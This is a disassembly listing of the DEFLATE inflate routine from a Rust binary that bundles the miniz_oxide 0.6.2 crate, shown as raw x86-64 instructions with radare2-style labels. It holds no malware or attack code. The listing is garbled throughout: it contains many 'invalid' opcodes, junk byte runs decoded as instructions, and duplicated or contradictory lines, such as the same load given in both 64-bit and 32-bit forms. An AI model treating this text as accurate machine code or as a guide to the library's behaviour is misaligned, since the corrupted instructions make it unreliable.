lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
or eax, 0xd7fb2
jg 0x1a7f1b7b6ca
add byte [rdx + 0x118], bh
mov edx, 0x118
mov r8d, 0x120
mov eax, 0x120
mov rcx, rdi
mov ecx, edi
call fcn.1a7f1b7b259
xor ecx, ecx
cmp rdx, rcx
je case.0x1a7f1b75026.106
mov byte [rax + rcx], 8
inc rcx
jmp 0x1a7f1b7b6d3
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
xor esi, esi
mov r8d, 0x20
mov eax, 0x20
mov eax, 0x20
mov rcx, qword [rsp + 0x130]
xor edx, edx
call fcn.1a7f1b7b259
cmp rdx, rsi
je 0x1a7f1b7b70d
mov byte [rax + rsi], 5
inc rsi
jmp 0x1a7f1b7b6ff
lea rdx, [rsp + 0x30]
mov rcx, r12
call fcn.1a7f1b7d3e3
movzx ecx, al
and eax, 0x1f00
movzx ecx, cx
movzx eax, ax
or eax, ecx
test al, al
je 0x1a7f1b7b571
movzx ecx, al
cmp ecx, 1
je 0x1a7f1b7c506
jmp 0x1a7f1b7cdfe
mov eax, dword [rsp + 0x38]
mov ecx, eax
and cl, 7
shr qword [rsp + 0x30], cl
and eax, 0xfffffff8
mov dword [rsp + 0x38], eax
and dword [rsp + 0x40], 0
mov al, 5
jmp 0x1a7f1b7b426
mov edx, dword [rsp + 0x40]
mov r10d, dword [rsp + 0x38]
mov r11, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x30]
mov ecx, r10d
cmp edx, 4
jae 0x1a7f1b7c61c
mov esi, edx
test ecx, ecx
je 0x1a7f1b7b7d4
mov rdi, r9
mov rbx, r11
cmp ecx, 8
jae 0x1a7f1b7b7fc
stc
or byte [rbx + 0x63], dh
cmp rbx, r8
je 0x1a7f1b7b7c4
movzx r9d, byte [rbx]
inc rbx
inc ebx
inc ebx
shl r9, cl
or r9, rdi
or ecx, edi
mov qword [rsp + 0x30], r9
add ecx, 8
mov dword [rsp + 0x38], ecx
xor eax, eax
mov r10d, ecx
mov r11, rbx
mov rdi, r9
jmp 0x1a7f1b7b7c9
mov rbx, r8
mov eax, ebp
test al, 2
je 0x1a7f1b7b794
mov qword [rsp + 0x50], r11
jmp 0x1a7f1b7b830
cmp r11, r8
cmp ebx, eax
je 0x1a7f1b7b829
lea rax, [r11 + 1]
mov qword [rsp + 0x50], rax
mov cl, byte [r11]
mov byte [r12 + rsi + 0x291c], cl
inc edx
mov dword [rsp + 0x40], edx
xor ecx, ecx
mov r11, rax
xor eax, eax
jmp 0x1a7f1b7b830
mov qword [rsp + 0x50], r11
mov r9, rdi
shr r9, 8
mov qword [rsp + 0x30], r9
add ecx, 0xfffffff8
mov dword [rsp + 0x38], ecx
mov byte [r12 + rsi + 0x291c], dil
inc edx
mov dword [rsp + 0x40], edx
xor eax, eax
mov r10d, ecx
jmp 0x1a7f1b7b830
xor ecx, ecx
mov r11, r8
mov eax, ebp
test al, al
je 0x1a7f1b7b77f
ror byte [rdi], 0x84
invalid
movzx ecx, al
cmp ecx, 1
je 0x1a7f1b7c506
jmp 0x1a7f1b7ce5e
mov al, 0x14
cmp dword [rsp + 0x40], 0
je 0x1a7f1b7b426
mov rcx, qword [rsp + 0x70]
mov al, 7
cmp rcx, qword [rsp + 0x78]
jne 0x1a7f1b7b426
invalid
invalid
invalid
jmp 0x1a7f1b7ce95
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
pop rax
pop rax
mov rsi, r14
sub rsi, rbx
je 0x1a7f1b7cebd
mov rdi, qword [rsp + 0x70]
mov qword [rsp + 0x98], rdi
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xe8
add byte [rax], al
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x78
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xe8
add byte [rax], al
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x78
sub rdi, r13
cmp rdi, rsi
cmovae rdi, rsi
inc byte [rbx + rcx*4 + 0x7c]
and al, 0x40
inc byte [rbx + rcx*4 + 0x7c]
and al, 0x40
cmp rdi, r15
cmovae rdi, r15
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
or eax, 0xd823e
or eax, 0xd823e
invalid
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1b7b1bf
mov qword [rsp + 0x88], rax
mov r12, rdx
mov r8, qword [rsp + 0x68]
add rdx, r13
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflateoutput_buffer.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov r13, rdx
mov r9, qword [rsp + 0x98]
call fcn.1a7f1b7b187
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflateoutput_buffer.rs
lea ecx, [0x1a7f1c53c68]
lea ecx, [0x1a7f1c53c68]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov rcx, rax
mov r8, qword [rsp + 0x88]
mov r9, r12
mov r12, qword [rsp + 0x108]
call fcn.1a7f1b66f2f
mov qword [rsp + 0x78], r13
mov r13, qword [rsp + 0xe8]
lea rax, [rdi - 1]
lea rcx, [rbx + rdi]
dec rcx
inc rcx
cmp rsi, rax
cmova r14, rcx
mov qword [rsp + 0x50], r14
sub r15d, edi
mov dword [rsp + 0x40], r15d
mov al, 6
jmp 0x1a7f1b7b426
mov r8d, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
and al, 0x38
mov r11, qword [rsp + 0x50]
mov r9, qword [rsp + 0x58]
mov r10, qword [rsp + 0x30]
cmp r8d, 3
jae 0x1a7f1b7c65f
movabs rax, 0x500000005
mov qword [rsp + 0xb0], rax
and al, 0xb0
add byte [rax], al
invalid
and al, 0xb0
add byte [rax], al
add bh, al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
mov al, 0
add byte [rax], al
mov dword [rsp + 0xb8], 4
mov esi, r8d
mov edx, dword [rsp + rsi*4 + 0xb0]
mov rdi, r10
mov edi, edx
mov rbx, r11
mov r14d, ecx
sub r14d, edx
jae 0x1a7f1b7b9e1
cmp rbx, r9
je 0x1a7f1b7b9d6
movzx r10d, byte [rbx]
shl r10, cl
inc rbx
or r10, rdi
mov qword [rsp + 0x30], r10
add ecx, 8
mov dword [rsp + 0x38], ecx
xor eax, eax
mov r11, rbx
mov rdi, r10
jmp 0x1a7f1b7b9db
mov rbx, r9
mov eax, ebp
test al, 2
je 0x1a7f1b7b9a6
jmp 0x1a7f1b7ba23
mov r10, rdi
mov ecx, edx
shr r10, cl
mov rax, 0xffffffffffffffff
shl rax, cl
mov qword [rsp + 0x30], r10
mov dword [rsp + 0x38], r14d
not eax
and edi, eax
lea rax, [0x1a7f1c53d58]
movzx eax, word [rax + rsi*2]
add eax, edi
mov dword [r12 + rsi*4 + 0x2910], eax
inc r8d
mov dword [rsp + 0x40], r8d
xor eax, eax
mov ecx, r14d
test al, al
je 0x1a7f1b7b96f
movzx ecx, al
cmp ecx, 1
jne 0x1a7f1b7ce67
mov qword [rsp + 0x50], r11
jmp 0x1a7f1b7c506
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov r9d, dword [rsp + 0x40]
cmp r9d, dword [r12 + 0x2918]
jae 0x1a7f1b7ba9b
mov ecx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov r8, rdi
cmp ecx, 3
jae 0x1a7f1b7bab6
cmp r8, rsi
je 0x1a7f1b7ba90
movzx eax, byte [r8]
mov dh, 0
shl rax, cl
inc r8
or rdx, rax
mov qword [rsp + 0x30], rdx
add ecx, 8
mov dword [rsp + 0x38], ecx
xor eax, eax
mov rdi, r8
jmp 0x1a7f1b7ba95
mov r8, rsi
mov eax, ebp
test al, 2
je 0x1a7f1b7ba66
jmp 0x1a7f1b7baf4
mov dword [r12 + 0x2918], 0x13
lea rdx, [rsp + 0x30]
lea edx, [rsp + 0x30]
lea edx, [rsp + 0x30]
mov rcx, r12
call fcn.1a7f1b7d3e3
jmp 0x1a7f1b7baf4
mov rax, rdx
shr rax, 3
mov qword [rsp + 0x30], rax
add ecx, 0xfffffffd
mov dword [rsp + 0x38], ecx
cmp r9d, 0x13
jae 0x1a7f1b7d388
lea rax, [0x1a7f1c53528]
movzx eax, byte [r9 + rax]
and dl, 7
mov byte [r12 + rax + 0x27c0], dl
inc r9d
mov dword [rsp + 0x40], r9d
xor eax, eax
add byte [rcx + 0xf], al
mov dh, 4
add dword [rax - 0x77bef81e], eax
xchg esp, eax
add al, 0xc0
invalid
test al, al
je 0x1a7f1b7ba4b
movzx ecx, al
cmp ecx, 1
jne 0x1a7f1b7ce0a
mov qword [rsp + 0x50], rdi
jmp 0x1a7f1b7c506
mov r10, qword [rsp + 0xa0]
mov ebx, dword [rsp + 0x40]
mov edx, dword [r12 + 0x2910]
mov eax, dword [r12 + 0x2914]
add eax, edx
cmp ebx, eax
jae 0x1a7f1b7bbfb
ret
add byte [rax], al
add byte [rax], al
ret
add byte [rax], al
mov esi, dword [rsp + 0x38]
cmp rsi, 0xf
jae 0x1a7f1b7bce8
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rdx
sub rcx, rax
cmp rcx, 1
ja case.0x1a7f1b61633.348
mov r15, qword [rsp + 0x30]
mov ecx, r15d
and ecx, 0x3ff
movsx ecx, word [r10 + rcx*2]
test ecx, ecx
js 0x1a7f1b7bb8a
cmp cx, 0x200
jb 0x1a7f1b7bbc7
shr ecx, 9
cmp esi, ecx
jb 0x1a7f1b7bbc7
jmp 0x1a7f1b7bd39
cmp esi, 0xb
jb 0x1a7f1b7bbc7
mov r8d, 0xb
lea r9d, [r8 - 1]
not ecx
bt r15, r9
adc ecx, 0
cmp ecx, 0x23f
ja 0x1a7f1b7ce9c
movsx ecx, word [r12 + rcx*2 + 0x2340]
test ecx, ecx
jns 0x1a7f1b7bd1d
and eax, dword [rax]
add byte [rbp + 0x5e890fc9], al
add dword [rax], eax
add byte [rcx - 1], al
rol byte [rcx + rdi - 0x3a], 0x73
cmp esi, r8d
jae 0x1a7f1b7bb95
inc r8d
cmp esi, r8d
jae 0x1a7f1b7bb95
cmp rax, rdx
je 0x1a7f1b7bd24
movzx r8d, byte [rax]
mov ecx, esi
shl r8, cl
inc rax
or r15, r8
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x30], edi
lea ecx, [rsi + 8]
mov dword [rsp + 0x38], ecx
cmp esi, 6
mov esi, ecx
jbe case.0x1a7f1b5b061.308
jmp 0x1a7f1b7bd3b
jne 0x1a7f1b7c861
add byte [rbp + rcx*4 + 5], cl
or byte [rdi + 0xd], bh
add byte [rax - 0x75], cl
mov word [rax + rdi*8], fs
add byte [rax], al
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, qword [rsp + 0xf8]
invalid
add al, ch
push 0xfffffffffffffff6
invalid
call fcn.1a7f1b7b27f
mov rsi, rax
mov rdi, rdx
mov r8d, dword [r12 + 0x2910]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov edx, 0x1c9
mov r14, qword [rsp + 0xf0]
mov rcx, r14
call fcn.1a7f1b7b1bf
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1a7f1b66f2f
mov esi, dword [r12 + 0x2910]
mov esi, dword [rsp + 0x2910]
mov esi, dword [rsp + 0x2910]
mov edx, dword [r12 + 0x2914]
add byte [rbp - 0x72b3cdc4], cl
add eax, 0xd7ee2
lea edi, [rdx + rsi]
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, qword [rsp + 0x130]
call fcn.1a7f1b7b27f
mov rbx, rax
mov r15, rdx
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
loopne 0x1a7f1b7bd0c
or eax, 0x44894800
and al, 0x20
loopne 0x1a7f1b7bd0c
or eax, 0x44894800
and al, 0x20
mov r9d, 0x1c9
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.1a7f1b7b187
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, r15
mov r8, rax
call fcn.1a7f1b66f2f
dec dword [r12 + 0x28fc]
mov word [rsp + rdi*8], fs
sub byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x30
mov word [rsp + rdi*8], fs
sub byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x30
mov rcx, r12
call fcn.1a7f1b7d3e3
mov r10, qword [rsp + 0xa0]
jmp 0x1a7f1b7be06
mov r15, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
jmp 0x1a7f1b7bd42
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
call fcn.1a7f1b7d6fb
mov r10, qword [rsp + 0xa0]
movzx r15d, ax
mov ecx, esi
shl r15, cl
or r15, qword [rsp + 0x30]
mov qword [rsp + 0x30], r15
jl 0x1a7f1b7bd32
xor byte [rcx + rcx*4 + 0x7c], cl
and al, 0x30
add esi, 0x10
mov dword [rsp + 0x38], esi
jmp 0x1a7f1b7bd42
mov qword [rsp + 0x50], rax
and al, 0x50
jmp 0x1a7f1b7bd42
mov qword [rsp + 0x50], rdx
mov dx, 2
mov ecx, dword [rsp + 0x14c]
add qword [rax], r8
invalid
add qword [rax], r8
add cl, ch
enter 0, 0
add byte [rax], al
jmp 0x1a7f1b7be01
mov ecx, esi
mov qword [rsp + 0x50], rax
push rax
mov esi, ecx
mov eax, r15d
and eax, 0x3ff
movsx eax, word [r10 + rax*2]
test eax, eax
js 0x1a7f1b7bd5f
mov ecx, eax
shr ecx, 9
and eax, 0x1ff
jmp 0x1a7f1b7bd76
mov rcx, r10
mov ecx, edx
ror dword [rcx - 0x776b23e], 1
mov edx, eax
mov r8, r15
clc
clc
call fcn.1a7f1b7d779
mov r10, qword [rsp + 0xa0]
mov ecx, edx
mov dx, 1
test ecx, ecx
leave
leave
je 0x1a7f1b7bdb5
shr r15, cl
shr edi, cl
mov qword [rsp + 0x30], r15
sub esi, ecx
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x3c], eax
cmp eax, 0x10
clc
adc byte [rbx + 0x26], dh
clc
adc byte [rbx + 0x26], dh
cmp ebx, 0x1c9
jae 0x1a7f1b7d39c
mov byte [r12 + rbx + 0x2920], al
inc ebx
mov dword [rsp + 0x40], ebx
xor ecx, ecx
xor ecx, ecx
xor edx, edx
jmp 0x1a7f1b7be01
mov cx, 0x2200
jmp 0x1a7f1b7be01
test ebx, ebx
jne 0x1a7f1b7bdc8
invalid
invalid
or dword [rsi - 0x47], esp
add byte [rdi], bl
mov cx, 0x1f00
cmp eax, 0x10
je 0x1a7f1b7be01
movabs rcx, 0x300000002
mov qword [rsp + 0xb0], rcx
mov dword [rsp + 0xb8], 7
and al, 0xb8
add byte [rax], al
add byte [rdi], al
add byte [rax], al
add byte [rcx + 0x488d48c0], cl
invalid
cmp rcx, 2
stc
add cl, byte [rdi]
invalid
invalid
invalid
add byte [rax], al
and al, 0xb8
add byte [rax], al
add byte [rdi], al
add byte [rax], al
add byte [rcx + 0x488d48c0], cl
invalid
stc
add cl, byte [rdi]
xchg dword [rbx - 0x74ffffeb], edi
adc eax, 0x448b0000
test byte [rax - 0x77], dh
adc eax, 0x448b0000
test byte [rax - 0x77], dh
mov eax, dword [rsp + rax*4 + 0x70]
mov dword [rsp + 0x44], eax
and al, 0x44
mov cx, 0xb00
movzx eax, dx
or eax, ecx
test al, al
je 0x1a7f1b7bb1a
movzx ecx, al
cmp ecx, 2
stc
add cl, byte [rdi]
test esp, ebp
invalid
add byte [rax], al
stc
add cl, byte [rdi]
test esp, ebp
invalid
add byte [rax], al
jmp 0x1a7f1b7ce55
mov eax, dword [rsp + 0x44]
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
mov r10, r9
mov r11d, ecx
sub r11d, eax
jae 0x1a7f1b7c50e
or ecx, 6
add byte [rax], al
or ecx, 6
add byte [rax], al
cmp r10, r8
je 0x1a7f1b7be6b
invalid
and dword [rbp + 0xf], eax
mov dh, 0xa
movzx r9d, byte [r10]
shl r9, cl
inc r10
or rdx, r9
mov qword [rsp + 0x30], rdx
add ecx, 8
mov dword [rsp + 0x38], ecx
xor r11d, r11d
mov r9, r10
jmp case.0x1a7f1b75026.113
mov r10, r8
mov r11d, ebp
test r11b, 2
je 0x1a7f1b7be39
jmp 0x1a7f1b7ce1b
lahf
sldt word [rax]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov rdx, r14
sub rdx, rbx
sub edx, ebx
sub rdx, rbx
sub edx, ebx
cmp rdx, 4
jb 0x1a7f1b7c68f
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
and al, 0x78
and al, 0x78
mov rax, rdi
sub rax, rsi
cmp rax, 2
jb 0x1a7f1b7c68f
cmp rdx, 0xe
jb 0x1a7f1b7bec2
cmp rax, 0x102
add al, byte [rcx]
add byte [rax], al
ja 0x1a7f1b7c872
mov esi, dword [rsp + 0x38]
cmp rsi, 0x1e
jae 0x1a7f1b7beed
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
or eax, 0xd770d
mov r8d, 4
add al, 0
add byte [rax], al
mov rcx, rbx
call fcn.1a7f1b7b1bf
cmp rdx, 4
jne 0x1a7f1b7bef4
mov eax, dword [rax]
xor ecx, ecx
jmp 0x1a7f1b7bef6
mov r8, qword [rsp + 0x30]
jmp 0x1a7f1b7bf27
mov cl, 1
add dword [rax - 0x3f], ecx
loopne 0x1a7f1b7bf02
shl rax, 8
movzx ecx, cl
or rcx, rax
call fcn.1a7f1b7b1e4
mov r8d, eax
mov ecx, esi
shl r8, cl
add rbx, 4
or r8, qword [rsp + 0x30]
and al, 0x30
invalid
and al, 0x30
xor byte [rax - 0x77], cl
pop rsp
and al, 0x50
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x30], r8
lea eax, [rsi + 0x20]
mov dword [rsp + 0x38], eax
lea rsi, [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, r12
call fcn.1a7f1b7d7bf
cmp dword [rsi], 0
add byte ds:[rdi], cl
test cl, bh
invalid
add byte [rax], al
add byte ds:[rdi], cl
test cl, bh
invalid
mov eax, dword [rsp + 0x114]
mov ecx, dword [rsp + 0x118]
mov dword [rsp + 0x40], eax
mov r8, qword [rsp + 0x30]
shr r8, cl
mov qword [rsp + 0x30], r8
sub dword [rsp + 0x38], ecx
bt eax, 8
mov edx, 0x820f08e0
prefetch byte [rax]
invalid
mov edx, 0x820f08e0
prefetch byte [rax]
add byte [rax - 0x73], cl
lea rsi, [rsp + 0xb0]
invalid
lea rsi, [rsp + 0xb0]
lea esi, [rsp + 0xb0]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, r12
call fcn.1a7f1b7d7bf
add byte [rax], al
add byte [rax], al
cmp dword [rsi], 0
je 0x1a7f1b7c73c
mov esi, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xb8]
add byte [rax], al
add byte [rax], al
shr qword [rsp + 0x30], cl
sub dword [rsp + 0x38], ecx
mov dl, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.1a7f1b7d803
bt esi, 8
jb 0x1a7f1b7cc7b
add byte [rax - 0x73], cl
and al, 0x68
lea rcx, [rsp + 0x68]
mov edx, esi
call fcn.1a7f1b7d803
jmp 0x1a7f1b7be86
mov edx, dword [rsp + 0x40]
push rsp
and al, 0x40
mov al, 0x15
cmp edx, 0xff
ja 0x1a7f1b7b426
mov rax, qword [rsp + 0x70]
cmp rax, qword [rsp + 0x78]
je 0x1a7f1b7ceaf
lea rcx, [rsp + 0x68]
call fcn.1a7f1b7d803
sbb byte [rax], al
add cl, ch
movsd dword [rdi], dword [rsi]
or al, 0
invalid
sbb byte [rax], al
add cl, ch
movsd dword [rdi], dword [rsi]
or al, 0
add byte [rbx + 0x4c442444], cl
mov eax, dword [rsp + 0x44]
mov r8, qword [rsp + 0x50]
and al, 0x50
mov eax, dword [rsp + 0x44]
mov r8, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
mov r10, r8
mov r11d, ecx
sub r11d, eax
jae 0x1a7f1b7c596
xor dword [rbx + 5], 0
invalid
xor dword [rbx + 5], 0
add byte [rbp + 0x39], cl
cmp r10, r9
je 0x1a7f1b7c049
cmp r10, r9
je 0x1a7f1b7c049
movzx r8d, byte [r10]
shl r8, cl
inc r10
or rdx, r8
mov qword [rsp + 0x30], rdx
add ecx, 8
mov dword [rsp + 0x38], ecx
xor r11d, r11d
mov r8, r10
jmp 0x1a7f1b7c04f
mov r10, r9
mov r11d, ebp
retf 0x8941
test r11b, 2
je 0x1a7f1b7c017
jmp 0x1a7f1b7ce28
mov ebx, dword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
cmp rbx, 0xe
ja 0x1a7f1b7c7ad
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rdx
sub rcx, rax
cmp rcx, 1
ja 0x1a7f1b7c78c
invalid
add byte [rax], al
invalid
mov r10, qword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
add byte [rcx - 0x1e7e0f], cl
add eax, dword [rax]
add byte [rcx + 0xf], al
mov edi, 0xc9854a0c
or al, 0x4a
test ecx, ecx
mov ecx, esi
and ecx, 0x3ff
movsx ecx, word [r10 + rcx*2]
or al, 0x4a
or al, 0x4a
test ecx, ecx
js 0x1a7f1b7c0b3
cmp cx, 0x200
jb 0x1a7f1b7c0f0
shr ecx, 9
cmp ebx, ecx
jb 0x1a7f1b7c0f0
jmp 0x1a7f1b7cd2d
cmp ebx, 0xb
jb 0x1a7f1b7c0f0
mov r8d, 0xb
lea r9d, [r8 - 1]
not ecx
bt rsi, r9
adc ecx, 0
add byte [rcx + 0x23ff9], al
add byte [rdi], cl
xchg ebp, eax
invalid
add byte [rax], al
invalid
add byte [rcx + 0x23ff9], al
add byte [rdi], cl
xchg ebp, eax
or eax, 0xf410000
add byte [rcx + 0xf], al
add byte [rcx + 0xf], al
movsx ecx, word [r12 + rcx*2 + 0x15a0]
mov edi, 0x15a04c8c
add byte [rax], al
test ecx, ecx
leave
jns 0x1a7f1b7cc71
inc r8d
cmp ebx, r8d
jae 0x1a7f1b7c0be
cmp rax, rdx
je 0x1a7f1b7ce7e
movzx r8d, byte [rax]
mov ecx, ebx
invalid
shl r8, cl
invalid
inc rax
or rsi, r8
mov qword [rsp + 0x30], rsi
lea ecx, [rbx + 8]
mov dword [rsp + 0x38], ecx
and al, 0x38
and al, 0x38
cmp ebx, 6
mov ebx, ecx
jbe 0x1a7f1b7c08f
jmp 0x1a7f1b7cd2f
mov eax, dword [rsp + 0x44]
and al, 0x44
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
mov r10, r8
mov r11d, ecx
sub r11d, eax
sub ebx, eax
sub ebx, eax
jae 0x1a7f1b7c5c6
cmp r10, r9
je 0x1a7f1b7c170
movzx r8d, byte [r10]
shl r8, cl
inc r10
or rdx, r8
mov qword [rsp + 0x30], rdx
add ecx, 8
mov dword [rsp + 0x38], ecx
xor r11d, r11d
mov r8, r10
shr bl, 1
invalid
shr bl, 1
invalid
mov r10, r9
mov r11d, ebp
test r11b, 2
je 0x1a7f1b7c13e
jmp 0x1a7f1b7ce35
mov ah, 0xc
add byte [rax], al
mov r9, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
mov r8, r9
cmp ecx, 8
jae 0x1a7f1b7c5f6
add byte [rax], al
add byte [rax], al
cmp r8, rdx
je 0x1a7f1b7c1c6
movzx r9d, byte [r8]
shl r9, cl
shl ecx, cl
shl ecx, cl
inc r8
inc eax
or rax, r9
mov qword [rsp + 0x30], rax
add ecx, 8
mov dword [rsp + 0x38], ecx
xor r10d, r10d
mov r9, r8
jmp 0x1a7f1b7c1cc
mov r8, rdx
mov r10d, ebp
test r10b, 2
je 0x1a7f1b7c197
jmp 0x1a7f1b7ce45
mov rax, qword [rsp + 0x70]
cmp rax, qword [rsp + 0x78]
je 0x1a7f1b7ce8e
mov dl, byte [rsp + 0x3c]
lea rcx, [rsp + 0x68]
cmp al, 0x48
lea ecx, [rsp + 0x68]
call fcn.1a7f1b7d803
cmp dword [rsp + 0x38], 0
mov ecx, 6
mov eax, 0x11
cmove eax, ecx
dec dword [rsp + 0x40]
and al, 0x40
and al, 0x40
cmove eax, ecx
jmp 0x1a7f1b7b426
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r14d, dword [rsp + 0x3c]
mov r15d, dword [rsp + 0x40]
mov rax, rsi
sub rax, rbx
je 0x1a7f1b7cdde
mov r8, rbx
sub r8, r14
mov rcx, qword [rsp + 0xa8]
and r8, rcx
mov r12d, r15d
cmp rax, r12
cmovb r12, rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
mov rcx, rdi
mov rdx, rsi
mov r9, rbx
fld1
sbb eax, 0x4c000018
add ebx, esp
fld1
sbb eax, 0x4c000018
add ebx, esp
sub r15d, r12d
mov r12, qword [rsp + 0x108]
mov dword [rsp + 0x40], r15d
jne 0x1a7f1b7c22c
mov qword [rsp + 0x78], rbx
jmp 0x1a7f1b7cca2
mov al, 3
cmp dword [r12 + 0x28f8], 0
cmp dword [rsp + 0x28f8], 0
cmp dword [rsp + 0x28f8], 0
je 0x1a7f1b7b426
test byte [rbx + 0x48fffff1], cl
mov edi, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x30]
mov eax, dword [rsp + 0x38]
mov ecx, eax
and cl, 7
shr rdi, cl
mov esi, eax
and esi, 0xfffffff8
mov r8, qword [rsp + 0x50]
sub r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x100]
add r8, rdx
shr eax, 3
cmp eax, r8d
cmovae eax, r8d
lea ecx, [rax*8]
sub esi, ecx
mov dword [rsp + 0x38], esi
sub r8, rax
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.6.2_srcinflatecore.rs_5
mov rcx, qword [rsp + 0x160]
call fcn.1a7f1b66eb7
mov r8, 0xffffffffffffffff
mov ecx, esi
shl r8, cl
add rdx, rax
not r8
and r8, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x30], r8
mov al, 0x18
mov ecx, dword [rsp + 0x1e8]
test cl, 1
je 0x1a7f1b7b426
and dword [rsp + 0x40], 0
mov al, 0x17
jmp 0x1a7f1b7b426
mov ecx, dword [rsp + 0x40]
mov edx, ecx
and edx, 0x1ff
mov dword [rsp + 0x40], edx
mov al, 0x14
cmp edx, 0x100
je 0x1a7f1b7b426
mov al, 0x20
cmp edx, 0x11d
ja 0x1a7f1b7b426
movaps xmm0, xmmword [0x1a7f1c35440]
movups xmmword [rsp + 0xc0], xmm0
movdqa xmm0, xmmword [0x1a7f1c35450]
movdqu xmmword [rsp + 0xb0], xmm0
dec ecx
and ecx, 0x1f
movzx edx, byte [rsp + rcx + 0xb0]
test edx, edx
sete al
mov dword [rsp + 0x44], edx
lea rdx, [0x1a7f1c53a78]
movzx ecx, word [rdx + rcx*2]
mov dword [rsp + 0x40], ecx
or al, 0xe
jmp 0x1a7f1b7b426
mov r9d, dword [rsp + 0x3c]
mov r8, qword [rsp + 0x78]
mov eax, dword [rsp + 0x1e8]
test al, 4
je 0x1a7f1b7c3ce
mov al, 0x1d
cmp r8, r9
jb 0x1a7f1b7b426
mov rdx, qword [rsp + 0x70]
mov eax, dword [rsp + 0x40]
lea rsi, [r8 + rax]
cmp rsi, rdx
ja 0x1a7f1b7c405
mov rcx, qword [rsp + 0x68]
mov r10, r8
sub r10, r9
and r10, qword [rsp + 0xa8]
sub r10, r8
jb 0x1a7f1b7cc86
cmp r10, rax
jae 0x1a7f1b7cc86
test eax, eax
mov ecx, 0xc
mov eax, 0x13
cmove eax, ecx
jmp 0x1a7f1b7b426
mov edx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
mov r11, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
